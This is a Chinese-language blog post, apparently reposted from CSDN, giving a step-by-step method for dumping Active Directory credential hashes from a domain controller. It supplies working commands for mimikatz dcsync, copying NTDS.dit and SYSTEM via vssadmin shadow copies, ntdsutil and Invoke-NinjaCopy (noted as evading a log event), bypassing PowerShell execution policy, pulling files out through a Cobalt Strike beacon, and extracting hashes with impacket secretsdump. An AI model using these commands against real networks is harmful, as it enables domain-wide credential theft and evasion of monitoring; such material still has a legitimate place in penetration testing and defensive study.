ntds.dit文件的获取与解密

它们在哪儿?

ntds.dit文件是域环境中域控上会有的一个文件,这个文件存储着域内所有用户的凭据信息(hash)。非域环境也就是在工作组环境中,有一个sam文件存储着当前主机用户的密码信息,想要破解sam文件与ntds.dit文件都需要拥有一个system文件。

ntds.dit文件位置: C:\Windows\NTDS\NTDS.dit
system文件位置:C:\Windows\System32\config\SYSTEM
sam文件位置:C:\Windows\System32\config\SAM


ntds.dit部分

在线破解

所谓的在线破解就是不用将域控上的ntds.dit文件下载下来,直接在已有的shell上破解。比如说你有一个cs弹回的beacon,就可以在beacon中直接利用mimikatz来破解,这一切的前提是有管理员权限。

Mimikatz有一个功能(dcsync),它可以利用目录复制服务(Directory Replication Service, DRS)从NTDS.DIT文件中提取密码哈希值。

可以通过dcsync直接获取test域内所有用户hash
lsadump::dcsync /domain:test.com /all /csv
在这里插入图片描述

也可以获取单个用户的详细信息
lsadump::dcsync /domain:test.com /user:kertgt
在这里插入图片描述

可以查看所有用户的所有详细信息
lsadump::lsa /inject
在这里插入图片描述


离线破解

离线破解一般需要两步,首先就是将远端域控的ntds.dit下载到本地,然后利用再在本地进行破解。ntds.dit文件一直在被windows系统使用,所以常规的复制下载方法是无法将文件下载到本地的,这里我推荐如下几个方法:

获取ntds.dit文件的方式

用vssadmin进行复制ntds文件

vssadmin create shadow /for=C:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
执行完上述命令即可将ntds.dit复制到C盘下创建的ShadowCopy中。执行结果如下图所示:

在这里插入图片描述
在这里插入图片描述

也可以使用这个命令复制sam或者system文件:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hiv
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\sam.hiv

使用ntdsutil

在这里插入图片描述
依次在命令行输入以下命令即可

Ntdsutil "activate instance ntds" Ifm create full C:\ntdsutil Quit quit

最终会在c盘下生成ntdsutil这个文件夹:
在这里插入图片描述
这个文件夹里面存有system文件与ntds.dit文件。

通过NinjaCopy获得域控服务器NTDS.dit文件

ninjacopy下载地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1

Import-Module -name .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "c:\ntds.dit"
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "c:\system.hiv"

附录:绕过powershell执行策略的命令:
cmd中:powershell -ep bypass
powershell中:Set-ExecutionPolicy Bypass -Scope Process

也可以参考下面的链接
绕过powershell执行策略的方法

执行结果如下
在这里插入图片描述
这种方法没有调用Volume Shadow Copy服务,所以不会产生日志文件7036

参考文章:
域渗透——获得域控服务器的NTDS.dit文件

文件移动

我们这时候需要将文件下载到本地,这时候假设我们有一个cobalt strike的shell(除了这个方法外还可以用scp命令)。
首先我们可以在cs的客户端直接浏览到被控主机的文件情况,这时候将我们上一步得到的ntds.dit文件跟system.hiv文件下载到本地:
第一步首先在文件系统中选择下载:
在这里插入图片描述

在这里插入图片描述
第二步,下载好后需要同步到cs的客户端,也就是本地(不是vps)。
在这里插入图片描述
本地浏览文件:
在这里插入图片描述

本地破解

当把文件下载到本地后,就需要开始破解其中的密码了,这时候我们采用impacket的secretsdump.py这个脚本。
命令为:

python3 secretsdump.py -ntds ~/Desktop/ntds.dit -system ~/Desktop/system.hiv LOCAL

在这里插入图片描述

破解出的密码格式为domain\uid:rid:lmhash:nthash,例如krbtgt的密码要采用最后一个冒号后面的那个,也就是d8d2ad开头的

猜你喜欢

转载自blog.csdn.net/qq_41874930/article/details/108141331